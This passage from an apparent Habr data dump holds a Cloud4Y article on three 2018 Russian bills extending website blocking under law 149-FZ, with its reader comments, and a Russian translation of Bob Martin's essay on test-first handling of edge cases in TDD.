законных прав личности и общества в информационной сфере при соблюдении права на свободу информации. Предварительно, рассмотрение данных законопроектов состоится уже в январе 2019 года.
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w780q1/webt/ln/9t/pr/ln9tprnuv4fxuqm8rhpuusgwqhs.jpeg" data-src="https://habrastorage.org/webt/ln/9t/pr/ln9tprnuv4fxuqm8rhpuusgwqhs.jpeg" data-blurred="true"/><br/> <br/> На прошлой неделе в Государственную Думу были внесены три законопроекта, направленные на внесение изменений в Федеральный закон от 27 июля 2006 года № 149-ФЗ «Об информации, информационных технологиях и о защите информации». Данные законопроекты, скорее всего, будут рассмотрены на весенней сессии Государственной Думы. Предлагаю ознакомиться с их содержанием уже сегодня. <br/> Полные тексты законопроектов можно найти по адресам:<blockquote>1. <a href="http://sozd.parliament.gov.ru/bill/605945-7">http://sozd.parliament.gov.ru/bill/605945-7</a><br/> 2. <a href="http://sozd.parlament.gov.ru/bill/606594-7">http://sozd.parlament.gov.ru/bill/606594-7</a><br/> 3. <a href="http://sozd.parlament.gov.ru/bill/606593-7">http://sozd.parlament.gov.ru/bill/606593-7</a></blockquote>Первый законопроект предусматривает внесение в законодательство изменений, направленных на осуществление на основании решения Банка России «блокировки сайтов», используемых с нарушениями законодательства о финансовом рынке, в том числе для совершения мошеннических действий. В пояснительной записке к законопроекту указано, что Банком России отмечается увеличение масштабов использования сайтов для совершения мошеннических действий на финансовом рынке. <br/> <a name="habracut"></a><br/> Перечень информации, при размещении которой предлагается блокировать сайты, довольно широк и весьма неоднозначен. В зависимости от трактовки текста, действие предлагаемых изменений может быть противоположно направленным, что оставляет место злоупотреблениям. <br/> <br/> Дабы не быть голословным, процитирую текст законопроекта:<br/> <blockquote>«4) решения Банка России в отношении распространяемой посредством сети «Интернет» информации:<br/> <br/> а) вводящей клиентов кредитных организаций и (или) некредитных финансовых организаций, а также иных лиц, взаимодействующих с кредитными организациями и (или) некредитными финансовыми организациями, в заблуждение относительно принадлежности информации, распространяемой посредством сети «Интернет», в том числе вследствие сходства доменных имен, оформления или содержания;<br/> <br/> б) связанной с предложением и (или) предоставлением на территории Российской Федерации финансовых услуг, определенных в Федеральном законе «О защите конкуренции», лицами, не имеющими права их оказывать в соответствии с законодательством Российской Федерации;<br/> <br/> в) связанной с осуществлением на территории Российской Федерации деятельности по привлечению денежных средств и (или) иного имущества физических лиц и (или) юридических лиц, при которой выплата дохода и (или) предоставление иной выгоды лицам, чьи денежные средства и (или) иное имущество привлечены ранее, осуществляются за счет привлеченных денежных средств и (или) иного имущества иных физических лиц и (или) юридических лиц при отсутствии инвестиционной и (или) иной законной предпринимательской или иной деятельности, связанной с использованием привлеченных денежных средств и (или) иного имущества».<br/> <br/> Данный законопроект также вносит соответствующие поправки в Гражданский процессуальный кодекс.</blockquote><i>Как видно из текста, сходство доменных имен <i>(кстати, на сколько %?)</i> может оказаться реальным поводом для блокировки сайта даже для законопослушных участников рынка. В интернете есть множество легально работающих сайтов, части названия которых совпадают, и это станет проблемой их собственников с момента принятия вышеупомянутых поправок в 149-ФЗ как есть. Будем надеяться, что законотворцы увидят здесь коллизию и постараются добавить четкости и ясности в данное положение. </i><br/> <br/> Второй внесенный законопроект предлагает дополнить ФЗ-149 новой статьей, предусматривающей возможность принятия мер по ограничению доступа к информации, выражающей в неприличной форме явное неуважение к обществу, государству, официальным государственным символам РФ, Конституции РФ и органам, осуществляющим государственную власть в Российской Федерации. <br/> <br/> <i>Здесь также потребуются дополнительные разъяснения, что считать неприличной формой и что именно мы станем отныне называть неуважением. Ведь справедливая критика бывает очень неприятна, и к тому же она может быть разной по форме и содержанию — шаржи и карикатуры часто являются более эффективными методами общественного воздействия на зарвавшегося чиновника, чем письма по инстанциям, статьи или выговоры…</i><br/> <br/> Согласно тексту законопроекта, Генеральный прокурор Российской Федерации или его заместители обращаются в Роскомнадзор с требованием о принятии мер по ограничению доступа к информационным ресурсам, распространяющим такую информацию. Роскомнадзор, в свою очередь, направляет операторам связи требование о принятии мер по ограничению доступа к информационному ресурсу. Также Роскомнадзор направляет провайдеру хостинга уведомление в электронном виде о нарушении порядка распространения информации с требованием принять меры по удалению такой информации.<br/> <br/> Если владелец информационного ресурса удалил распространяемую с нарушением закона информацию, он направляет уведомление об этом в Роскомнадзор, который проверяет данную информацию и оповещает операторов о возобновлении доступа.<br/> <br/> Третий законопроект предлагается дополнить статью 15 ФЗ-149 новыми положениями, которые, как говорится в пояснительной записке, направлены на пресечение распространения недостоверной общественно значимой информации, распространяемой под видом достоверных сообщений, которая создает угрозу жизни и (или) здоровью граждан, массового нарушения общественного порядка и (или) общественной безопасности, прекращения функционирования объектов жизнеобеспечения, транспортной или социальной инфраструктуры, наступления иных тяжких последствий.<br/> <br/> Законопроектом предлагается в отношении такой информации применять существующий механизм, действующий в отношении информации, содержащей призывы к массовым беспорядкам, осуществлению экстремистской деятельности, участию в массовых мероприятиях, проводимых с нарушением установленного порядка. <br/> <br/> В пояснительной записке к законопроекту отмечается, что осознание негативных аспектов распространения ложной информации побуждает государственные институты многих стран к поиску механизмов её пресечения. Указывается, что Еврокомиссия разрабатывает общеевропейскую стратегию противостояния онлайн-дезинформации. Также в записке говорится, что предлагаемая инициатива продолжает политику обеспечения информационной безопасности, защиты законных прав личности и общества в информационной сфере при соблюдении права на свободу информации.<br/> <br/> Предварительно, рассмотрение данных законопроектов состоится уже в январе 2019 года.</div>
Cloud4Y (Cloud4Y)
null
null
<img src="https://habrastorage.org/webt/ln/9t/pr/ln9tprnuv4fxuqm8rhpuusgwqhs.jpeg"><br> <br> На прошлой неделе в Государственную Думу были внесены три законопроекта, направленные на внесение изменений в Федеральный закон от 27 июля 2006 года № 149-ФЗ «Об информации, информационных технологиях и о защите информации». Данные законопроекты, скорее всего, будут рассмотрены на весенней сессии Государственной Думы. Предлагаю ознакомиться с их содержанием уже сегодня. <br> Полные тексты законопроектов можно найти по адресам:<blockquote>1. <a href="http://sozd.parliament.gov.ru/bill/605945-7">http://sozd.parliament.gov.ru/bill/605945-7</a><br> 2. <a href="http://sozd.parlament.gov.ru/bill/606594-7">http://sozd.parlament.gov.ru/bill/606594-7</a><br> 3. <a href="http://sozd.parlament.gov.ru/bill/606593-7">http://sozd.parlament.gov.ru/bill/606593-7</a></blockquote>Первый законопроект предусматривает внесение в законодательство изменений, направленных на осуществление на основании решения Банка России «блокировки сайтов», используемых с нарушениями законодательства о финансовом рынке, в том числе для совершения мошеннических действий. В пояснительной записке к законопроекту указано, что Банком России отмечается увеличение масштабов использования сайтов для совершения мошеннических действий на финансовом рынке. <br>
На прошлой неделе в Государственную Думу были внесены три законопроекта, направленные на внесение изменений в Федеральный закон от 27 июля 2006 года No 149-ФЗ «Об информации, информационных технологиях и о защите информации». Данные законопроекты, скорее всего, будут рассмотрены на весенней сессии Государственной Думы. Предлагаю ознакомиться с их содержанием уже сегодня. Полные тексты законопроектов можно найти по адресам: > 1\. http://sozd.parliament.gov.ru/bill/605945-7 > 2\. http://sozd.parlament.gov.ru/bill/606594-7 > 3\. http://sozd.parlament.gov.ru/bill/606593-7 Первый законопроект предусматривает внесение в законодательство изменений, направленных на осуществление на основании решения Банка России «блокировки сайтов», используемых с нарушениями законодательства о финансовом рынке, в том числе для совершения мошеннических действий. В пояснительной записке к законопроекту указано, что Банком России отмечается увеличение масштабов использования сайтов для совершения мошеннических действий на финансовом рынке.
article
1,545,119,445
{ "commentsCount": 16, "favoritesCount": 14, "readingCount": 4142, "score": 3, "votesCount": 5, "votesCountPlus": 4, "votesCountMinus": 1 }
[]
[ "cloud4y", "infosecurity", "finance" ]
[ "develop", "popsci" ]
[ "149-фз", "законодательство", "блокировки сайтов" ]
4
null
null
{ "id": [ 19514652, 19515908, 19516996, 19517620, 19517964, 19518054, 19518116, 19518152, 19518350, 19518420, 19518438, 19518788, 19519284, 19520220, 19520230, 19520572 ], "parent_id": [ null, null, 19514652, 19516996, 19517620, 19517964, 19515908, 19518054, 19518152, 19518350, 19518350, null, 19518438, 19518788, 19517620, null ], "level": [ 0, 0, 1, 2, 3, 4, 1, 5, 6, 7, 7, 0, 8, 1, 3, 0 ], "time_published": [ 1545119976, 1545129016, 1545138124, 1545142258, 1545145365, 1545146296, 1545146921, 1545147147, 1545149101, 1545149882, 1545150114, 1545154545, 1545161316, 1545192630, 1545192967, 1545201623 ], "score": [ 1, 0, 1, -1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0 ], "votes": [ 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Забавно выглядит на фоне недавних статей про продажу государственных БД.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Закопошились чего-то… Интернет по паспортам — следующий шаг?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Еще забавнее выглядят готовящиеся поправки в Федеральный закон от 6 апреля 2011 года № 63-ФЗ «Об электронной подписи». Одна из предлагаемых поправок в ст. 16 звучит так:</p><br/>\r\n<blockquote>\" «1) минимальный размер собственных средств (капитала) составляет не менее чем один миллиард рублей либо пятьсот миллионов рублей при наличии не менее чем в трех четвертях субъектов Российской Федерации одного или более филиала или представительства удостоверяющего центра.\"</blockquote><p>Сегодня это требование звучит так:</p><br/>\r\n<blockquote>1) стоимость чистых активов удостоверяющего центра составляет не менее чем семь миллионов рублей;</blockquote><p>Даже это требование, введенное в 2015 году, оказалось многим не подъемным. Сегодня <a href=\"https://habr.com/post/357668/\">аккредитовано</a> порядка 500 удостоверяющих центров, разбросанных по всей стране. Это как правило малые предприятия. Они только что начали отходить от 7 (семи) миллионов, а теперь их ждет миллиард.<br/>\r\nЗабавно? Конечно, забавно.</p><br/>\r\n<blockquote>Вносится Правительством Российской Федерации<br/>\r\nПроект<br/>\r\nФЕДЕРАЛЬНЫЙ ЗАКОН<br/>\r\nО внесении изменений в некоторые законодательные акты Российской Федерации в связи с совершенствованием регулирования в сфере электронной подписи</blockquote><p>Пока проект</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Сегодня аккредитовано порядка 500 удостоверяющих центров, разбросанных по всей стране</blockquote><br/>\r\nЭто хорошо или плохо?<br/>\r\nIMHO это плохо. Это как с банками — не нужно 100500 мелких непонятных банков, лучше иметь десяток крупных.<br/>\r\nНасколько я знаю сейчас уже массовые случаи получения ЭЦП на лиц, которые понятия не имеют, что они получили ЭЦП (тут вспоминаем, что все наши персональные данные <a href=\"https://habr.com/post/433384/\">уже проданы</a>).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>IMHO это плохо. Это как с банками — не нужно 100500 мелких непонятных банков</blockquote><p>А кто в этом виноват? Обязательно все доводить до абсурда? Люди вкладывались (а говорю о добросовестных), создавали малые предприятия и бум. </p><br/>\r\n<blockquote>я знаю сейчас уже массовые случаи получения ЭЦП на лиц, которые понятия не имеют, что они получили ЭЦП</blockquote><p>И я знаю. Но я не знаю, чтобы кого-то за это посадили и т.п. Значит кому-то это надо. И где гарантия, что с миллиардом этого не будет. Я думаю будет. А что мешало государству взять это на себя и выдавать как паспорт. По значимости они одинаковые.<br/>\r\nА так закроют еще одну отрасль для малого бизнеса. И это хорошо?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>А кто в этом виноват?</blockquote><br/>\r\nЯ думаю мы все понимаем кто. У нас же это постоянно — придумали, внедрили, что-то не то получилось (хотели как лучше, а получилось как всегда), всё сломали и переделали. Посмотреть на заграничный опыт? Нет, зачем?<br/>\r\nНе эта отрасль первая, не она последняя.<br/>\r\nВообще Ваши вопросы тоже правильные конечно. Но они скорее риторические.<br/>\r\n<blockquote>А так закроют еще одну отрасль для малого бизнеса. И это хорошо?</blockquote><br/>\r\n<i>Если</i> отрасль обросла криминогенной составляющей? Скорее да.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Если отрасль обросла криминогенной составляющей? Скорее да.</blockquote><p>Оказывается отрасль во всем виновата. А я думал все же человеки.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">вот именно.<br/>\r\n<br/>\r\nтак можно довольно весело возвести в абсолют:<br/>\r\n — банки обрасли криминогенной составляющей! (броться с ней мы конечно не будем). а поэтому отныне теперь только один госбанк, отчитывающийся товарищу майору.<br/>\r\n — мобильные операторы обросли криминогенной составляющей. отныне будет только один государственный оператор, с тарифами утверждаемыми госдумой.<br/>\r\n-интернет оброс криминогенной составляющей, выход во внешний интернет из чебурнета закрывается.<br/>\r\n-деньги обрасли криминогенной составляющей! так что отныне деньги упраздняются, а все жители получают заслуженную пайку, утверждённую министерством здравоохранения. <br/>\r\n<br/>\r\n=)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Как там говаривал Козьма Прутков: -</p><br/>\r\n<blockquote>\"Зри в корень\".</blockquote><p>Но у него есть и </p><br/>\r\n<blockquote>Не всё стриги, что растёт.</blockquote></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Можно точно так же возвести в обратную сторону. И что?<br/>\r\nКогда отрасль изначально создана так, что просто не может не обрасти криминалом, то что делать теперь?<br/>\r\nХороший пример система техосмотра автомобилей в нынешнем её виде. Цена регулируется государством и в Московском регионе например составляет 700 с чем-то там рублей если не ошибаюсь. При этом оборудования надо закупить на миллионы, платить ежемесячно аренду и зарплату. А еще лицензия, аккредитация и вот это всё. Вот как Вы думаете много ли сервисов вложилось в это в расчёте потом честно зарабатывать по 700 рублей на клиенте? Или же бизнесплан у многих изначально состоял в том, что бы вложиться в получение лицензии (зачастую так же через коррупционную схему — без оборудования) и потом продавать ТОшки пачками через интернет?<br/>\r\nНо вообще <a href=\"https://habr.com/users/saipr/\" class=\"user_link\">saipr</a> прав — во всём виноваты люди. Только отрасль это и есть люди (а кто еще?). И если в стране 10% (предположим) населения мама с папой в детстве плохо воспитали и они теперь спят и видят как бы обмануть ближнего своего, то как ни крути ничего хорошего в этой стране не будет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">техосмотр, кстати, очень хороший пример. наша система техосмотра транспортных средств специально сконструирована так что бы быть по сути легализованной взяткой. почему? потому что государство получает с этого профит. т.е. дело тут в заданной сверху ситуации.<br/>\r\n<br/>\r\nтак же и с сертефикатами. кто получит лицензии? правильно, те кто занесут кому надо и будут давать данные кому надо.<br/>\r\n<br/>\r\nну и к основному… зачем это может быть? напомню что есть такая страна как туркменистан, в который местный фаервол работает лучше китайского (в определённой степени), а власти не имеют проблем с данными граждан. а достигнуто всё это простым путём… на все устройства граждане страны обязаны ставить государственные корневые сертификаты. профит.<br/>\r\n<br/>\r\nз.ы. дело не в плохом воспитании (как многим бы хотелось думать, ибо это логичное, но не совсем правильное оправдание), дело в глобальном уровне жизни по стране. иначе говоря работает «правило разбитого окна».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И сесть за оскорбление чувств верующих.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Корень проблемы-то как раз том, что наши данные уже проданы. А не в том, что слишком малые требования к капитализации.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да что они «бабушку лохматят»? Сразу бы и написали, хотим <s>сажать</s> блокировать всех подряд, по велению левой пятки. <br/>\r\nИ что-бы все подряд имели вид радостный и довольный.</div>" ], "message_markdown": [ "Забавно выглядит на фоне недавних статей про продажу государственных БД.", "Закопошились чего-то... Интернет по паспортам — следующий шаг?", "Еще забавнее выглядят готовящиеся поправки в Федеральный закон от 6 апреля 2011 года No 63-ФЗ «Об электронной подписи». Одна из предлагаемых поправок в ст. 16 звучит так:\n> \" «1) минимальный размер собственных средств (капитала) составляет не менее чем один миллиард рублей либо пятьсот миллионов рублей при наличии не менее чем в трех четвертях субъектов Российской Федерации одного или более филиала или представительства удостоверяющего центра.\"\nСегодня это требование звучит так:\n> 1) стоимость чистых активов удостоверяющего центра составляет не менее чем семь миллионов рублей;\nДаже это требование, введенное в 2015 году, оказалось многим не подъемным. Сегодня аккредитовано порядка 500 удостоверяющих центров, разбросанных по всей стране. Это как правило малые предприятия. Они только что начали отходить от 7 (семи) миллионов, а теперь их ждет миллиард.\nЗабавно? Конечно, забавно.\n> Вносится Правительством Российской Федерации\n> Проект\n> ФЕДЕРАЛЬНЫЙ ЗАКОН\n> О внесении изменений в некоторые законодательные акты Российской Федерации в связи с совершенствованием регулирования в сфере электронной подписи\nПока проект", "> Сегодня аккредитовано порядка 500 удостоверяющих центров, разбросанных по всей стране\nЭто хорошо или плохо?\nIMHO это плохо. Это как с банками — не нужно 100500 мелких непонятных банков, лучше иметь десяток крупных.\nНасколько я знаю сейчас уже массовые случаи получения ЭЦП на лиц, которые понятия не имеют, что они получили ЭЦП (тут вспоминаем, что все наши персональные данные уже проданы).", "> IMHO это плохо. Это как с банками — не нужно 100500 мелких непонятных банков\nА кто в этом виноват? Обязательно все доводить до абсурда? Люди вкладывались (а говорю о добросовестных), создавали малые предприятия и бум.\n> я знаю сейчас уже массовые случаи получения ЭЦП на лиц, которые понятия не имеют, что они получили ЭЦП\nИ я знаю. Но я не знаю, чтобы кого-то за это посадили и т.п. Значит кому-то это надо. И где гарантия, что с миллиардом этого не будет. Я думаю будет. А что мешало государству взять это на себя и выдавать как паспорт. По значимости они одинаковые.\nА так закроют еще одну отрасль для малого бизнеса. И это хорошо?", "> А кто в этом виноват?\nЯ думаю мы все понимаем кто. У нас же это постоянно — придумали, внедрили, что-то не то получилось (хотели как лучше, а получилось как всегда), всё сломали и переделали. Посмотреть на заграничный опыт? Нет, зачем?\nНе эта отрасль первая, не она последняя.\nВообще Ваши вопросы тоже правильные конечно. Но они скорее риторические.\n> А так закроют еще одну отрасль для малого бизнеса. И это хорошо?\nЕсли отрасль обросла криминогенной составляющей? Скорее да.", "UFO just landed and posted this here", "> Если отрасль обросла криминогенной составляющей? Скорее да.\nОказывается отрасль во всем виновата. А я думал все же человеки.", "вот именно.\nтак можно довольно весело возвести в абсолют:\n— банки обрасли криминогенной составляющей! (броться с ней мы конечно не будем). а поэтому отныне теперь только один госбанк, отчитывающийся товарищу майору.\n— мобильные операторы обросли криминогенной составляющей. отныне будет только один государственный оператор, с тарифами утверждаемыми госдумой.\n-интернет оброс криминогенной составляющей, выход во внешний интернет из чебурнета закрывается.\n-деньги обрасли криминогенной составляющей! так что отныне деньги упраздняются, а все жители получают заслуженную пайку, утверждённую министерством здравоохранения.\n=)", "Как там говаривал Козьма Прутков: -\n> \"Зри в корень\".\nНо у него есть и\n> Не всё стриги, что растёт.", "Можно точно так же возвести в обратную сторону. И что?\nКогда отрасль изначально создана так, что просто не может не обрасти криминалом, то что делать теперь?\nХороший пример система техосмотра автомобилей в нынешнем её виде. Цена регулируется государством и в Московском регионе например составляет 700 с чем-то там рублей если не ошибаюсь. При этом оборудования надо закупить на миллионы, платить ежемесячно аренду и зарплату. А еще лицензия, аккредитация и вот это всё. Вот как Вы думаете много ли сервисов вложилось в это в расчёте потом честно зарабатывать по 700 рублей на клиенте? Или же бизнесплан у многих изначально состоял в том, что бы вложиться в получение лицензии (зачастую так же через коррупционную схему — без оборудования) и потом продавать ТОшки пачками через интернет?\nНо вообще saipr прав — во всём виноваты люди. Только отрасль это и есть люди (а кто еще?). И если в стране 10% (предположим) населения мама с папой в детстве плохо воспитали и они теперь спят и видят как бы обмануть ближнего своего, то как ни крути ничего хорошего в этой стране не будет.", "UFO just landed and posted this here", "техосмотр, кстати, очень хороший пример. наша система техосмотра транспортных средств специально сконструирована так что бы быть по сути легализованной взяткой. почему? потому что государство получает с этого профит. т.е. дело тут в заданной сверху ситуации.\nтак же и с сертефикатами. кто получит лицензии? правильно, те кто занесут кому надо и будут давать данные кому надо.\nну и к основному... зачем это может быть? напомню что есть такая страна как туркменистан, в который местный фаервол работает лучше китайского (в определённой степени), а власти не имеют проблем с данными граждан. а достигнуто всё это простым путём... на все устройства граждане страны обязаны ставить государственные корневые сертификаты. профит.\nз.ы. дело не в плохом воспитании (как многим бы хотелось думать, ибо это логичное, но не совсем правильное оправдание), дело в глобальном уровне жизни по стране. иначе говоря работает «правило разбитого окна».", "И сесть за оскорбление чувств верующих.", "Корень проблемы-то как раз том, что наши данные уже проданы. А не в том, что слишком малые требования к капитализации.", "Да что они «бабушку лохматят»? Сразу бы и написали, хотим ~~сажать~~ блокировать всех подряд, по велению левой пятки.\nИ что-бы все подряд имели вид радостный и довольный." ], "author": [ "AgeofCreations", "SongOfBird", "Орлов Владимир Николаевич (saipr)", "Сергей (Mur81)", "Орлов Владимир Николаевич (saipr)", "Сергей (Mur81)", "{}", "Орлов Владимир Николаевич (saipr)", "nidheg666", "Орлов Владимир Николаевич (saipr)", "Сергей (Mur81)", "{}", "nidheg666", "AgeofCreations", "AgeofCreations", "2PAE" ], "children": [ [ 19516996 ], [ 19518116 ], [ 19517620 ], [ 19517964, 19520230 ], [ 19518054 ], [ 19518152 ], [], [ 19518350 ], [ 19518420, 19518438 ], [], [ 19519284 ], [ 19520220 ], [], [], [], [] ] }
254,951
ru
https://habr.com/ru/post/254951/
Тернии вокруг золота
Примечание автора: это перевод статьи Боба Мартина. На написание этой статьи меня вдохновила статья Марка Симана «The IsNullOrWhiteSpace trap» (@ploeh). Статья Марка кратко и хорошо изложена. Пожалуйста, прочитайте сначала её, прежде чем продолжать читать данную. Ловушка, о которой рассказывает Марк, это частный случай более общей ловушки, которую я называю воровством золота. Я могу продемонстрировать эту ловушку, возвращаясь обратно к статье Марка. Заметьте, что первый тест, который написал Марк выглядел следующим образом: [code] [InlineData("Seven Lions Polarized" , "LIONS POLARIZED SEVEN" )] [InlineData("seven lions polarized" , "LIONS POLARIZED SEVEN" )] [InlineData("Polarized seven lions" , "LIONS POLARIZED SEVEN" )] [InlineData("Au5 Crystal Mathematics", "AU5 CRYSTAL MATHEMATICS")] [InlineData("crystal mathematics au5", "AU5 CRYSTAL MATHEMATICS")] [/code] Он уже попал в ловушку. Почему? Потому что он уже украл золото. ## Золото и тернии Основная функциональность, которую Марк пытается описать — это упорядочение слов по алфавиту. Естественно, его тесты и отражают эту функциональность. Основная функциональность — золото и он его своровал. Проблема в том, что золото защищено невидимой тернистой изгородью, которая опутает любого, ничего о ней не подозревающего программиста, который, будучи ослеплённым золотом, попытается его украсть. Что за тернистая изгородь? В случае Марка это null и пустая строка в качестве входных данных. Я следую дисциплине TDD вот уже как пятнадцать лет. Я выучил многое об этой невидимой тернистой изгороди. Я выучил урок о том, что она всегда где-то рядом. Я понял, что если вы попытаетесь своровать золото слишком рано, то невидимая изгородь воспрепятствует вашему прогрессу и разорвёт ваши усилия на куски [1]. Так что, стратегия которой я научился следовать состоит в том, чтобы отвести глаза от золота на время, пока я прощупываю изгородь и расчищаю от неё путь. ## Разведка и расчистка Перед тем как приступить к основной функциональности, я пишу как можно больше тестов, которые игнорируют основную функциональность, а вместо этого сосредоточены на исключительных, дегенеративных вспомогательных поведениях. Именно в такой последовательности. Один за другим я пишу такие тесты и делаю их проходящими. ### Поведения-исключения Это поведения, которые обнаруживают некорректный ввод, с которым основная функциональность никогда не должна столкнуться. Такие поведения возвращают коды ошибок, логируют ошибки и\или выбрасывают исключения. В случае Марка, обработка null — единственное исключительное поведение. Но в более сложных приложениях, обнаружение исключительных случаев может быть гораздо более сложным. Конечно эти случаи включают обработку входных данных. Но они также включают нарушение семантики, такие как удаление несуществующей записи, или добавление записи, которая уже существует. ### Дегенеративные поведения Здесь речь идёт о входных данных, которые заставляют основную функциональность делать «ничего». Я поставил «ничего» в кавычки, потому что иногда «ничего» может быть относительно сложным. В случае Марка, пустые строки и строки, состоящие из пробелов являются дегенеративными входными данными. В конечном счёте он решил проблему таких строк сложным набором условий и операций, которые возвращали пустую строку в случае с одним пробельным символом или пустой строкой в качестве входных данных, в остальных случаях все пробельные символы удалялись [2]. В целом, дегенеративные условия, это штуки вроде пробелов, пустых строк, пустых коллекций, массивов нулевой длины и т.д. В более сложных приложениях, дегенеративный случай может быть достаточно сложным и требовать сложной обработки. Рассмотрите, например, Java-компилятор, который обрабатывает исходные файлы, которые содержат тысячи строк, которые состоят из точек с запятыми и комментариев. Каким должен быть результат обработки? ### Вспомогательные поведения Эти случаи иногда найти труднее всего. Вспомогательные поведения это те, которые окружают и поддерживают основную функциональность, но не являются его частью. Например, функция getSize() класса Stack. Ответ на запрос размера не связан с основной функциональностью, реализующей LIFO. Дело в том, что вспомогательные поведения часто оказываются полезными для основной функциональности по очевидным причинам. Например, получается так, что размер стека это индекс массива, который используется для операций проталкивания и извлечения в стеках фиксированного размера. Я обычно сталкиваюсь с тем, что, после реализации всех вспомогательных поведений, основную функциональность гораздо проще реализовать. Все эти тесты я пишу первыми и делаю их проходящими. Я избегаю каких-либо тестов, которые близки к основной функциональности до тех пор, пока я окончательно не окружу проблему проходящими тестами, описывающими всё, кроме основной функциональности. Затем, и только затем я забираю золото. [1] Действительно, всего лишь позавчера я потратил четыре часа, буду опутанным терниями, которые я упустил и не расчистил как следует. В конце концов git reset — hard оказался моим единственным выходом. [2] Покрыл ли он все возможные условия? Что насчёт табуляции, переводов строк, бэкспэйсов, непечатаемых символов?
<div xmlns="http://www.w3.org/1999/xhtml"><i>Примечание автора: это перевод статьи Боба Мартина.</i><br/> На написание этой статьи меня вдохновила <a href="http://blog.ploeh.dk/2014/11/18/the-isnullorwhitespace-trap/">статья Марка Симана «The IsNullOrWhiteSpace trap»</a> (@ploeh). Статья Марка кратко и хорошо изложена. Пожалуйста, прочитайте сначала её, прежде чем продолжать читать данную.<br/> Ловушка, о которой рассказывает Марк, это частный случай более общей ловушки, которую я называю <i>воровством золота</i>. Я могу продемонстрировать эту ловушку, возвращаясь обратно к статье Марка.<br/> <br/> Заметьте, что первый тест, который написал Марк выглядел следующим образом:<br/> <br/> <pre><code class="cs">[InlineData("Seven Lions Polarized" , "LIONS POLARIZED SEVEN" )] [InlineData("seven lions polarized" , "LIONS POLARIZED SEVEN" )] [InlineData("Polarized seven lions" , "LIONS POLARIZED SEVEN" )] [InlineData("Au5 Crystal Mathematics", "AU5 CRYSTAL MATHEMATICS")] [InlineData("crystal mathematics au5", "AU5 CRYSTAL MATHEMATICS")] </code></pre><br/> Он уже попал в ловушку. Почему? Потому что он уже украл <i>золото</i>.<br/> <a name="habracut"></a><br/> <h2><i>Золото</i> и тернии</h2><br/> Основная функциональность, которую Марк пытается описать — это упорядочение слов по алфавиту. Естественно, его тесты и отражают эту функциональность. Основная функциональность — <i>золото</i> и он его своровал.<br/> Проблема в том, что <i>золото </i>защищено невидимой тернистой изгородью, которая опутает любого, ничего о ней не подозревающего программиста, который, будучи ослеплённым <i>золотом</i>, попытается его украсть. Что за тернистая изгородь? В случае Марка это null и пустая строка в качестве входных данных.<br/> Я следую дисциплине TDD вот уже как пятнадцать лет. Я выучил многое об этой невидимой тернистой изгороди. Я выучил урок о том, что она всегда где-то рядом. Я понял, что если вы попытаетесь своровать <i>золото </i>слишком рано, то невидимая изгородь воспрепятствует вашему прогрессу и разорвёт ваши усилия на куски [1]. Так что, стратегия которой я научился следовать состоит в том, чтобы отвести глаза от золота на время, пока я прощупываю изгородь и расчищаю от неё путь.<br/> <br/> <h2>Разведка и расчистка</h2><br/> Перед тем как приступить к основной функциональности, я пишу как можно больше тестов, которые игнорируют основную функциональность, а вместо этого сосредоточены на исключительных, дегенеративных вспомогательных поведениях. Именно в такой последовательности. Один за другим я пишу такие тесты и делаю их проходящими.<br/> <br/> <h3>Поведения-исключения</h3><br/> Это поведения, которые обнаруживают некорректный ввод, с которым основная функциональность никогда не должна столкнуться. Такие поведения возвращают коды ошибок, логируют ошибки и\или выбрасывают исключения.<br/> В случае Марка, обработка null — единственное исключительное поведение. Но в более сложных приложениях, обнаружение исключительных случаев может быть гораздо более сложным. Конечно эти случаи включают обработку входных данных. Но они также включают нарушение семантики, такие как удаление несуществующей записи, или добавление записи, которая уже существует.<br/> <br/> <h3>Дегенеративные поведения</h3><br/> Здесь речь идёт о входных данных, которые заставляют основную функциональность делать «ничего». Я поставил «ничего» в кавычки, потому что иногда «ничего» может быть относительно сложным.<br/> В случае Марка, пустые строки и строки, состоящие из пробелов являются дегенеративными входными данными. В конечном счёте он решил проблему таких строк сложным набором условий и операций, которые возвращали пустую строку в случае с одним пробельным символом или пустой строкой в качестве входных данных, в остальных случаях все пробельные символы удалялись [2].<br/> В целом, дегенеративные условия, это штуки вроде пробелов, пустых строк, пустых коллекций, массивов нулевой длины и т.д. В более сложных приложениях, дегенеративный случай может быть достаточно сложным и требовать сложной обработки. Рассмотрите, например, Java-компилятор, который обрабатывает исходные файлы, которые содержат тысячи строк, которые состоят из точек с запятыми и комментариев. Каким должен быть результат обработки?<br/> <br/> <h3>Вспомогательные поведения</h3><br/> Эти случаи иногда найти труднее всего. Вспомогательные поведения это те, которые окружают и поддерживают основную функциональность, но не являются его частью. Например, функция getSize() класса Stack. Ответ на запрос размера не связан с основной функциональностью, реализующей LIFO.<br/> Дело в том, что вспомогательные поведения часто оказываются полезными для основной функциональности по очевидным причинам. Например, получается так, что размер стека это индекс массива, который используется для операций проталкивания и извлечения в стеках фиксированного размера. Я обычно сталкиваюсь с тем, что, после реализации всех вспомогательных поведений, основную функциональность гораздо проще реализовать.<br/> <br/> Все эти тесты я пишу первыми и делаю их проходящими. Я избегаю каких-либо тестов, которые близки к основной функциональности до тех пор, пока я окончательно не окружу проблему проходящими тестами, описывающими всё, кроме основной функциональности. Затем, и только затем я забираю <i>золото</i>.<br/> 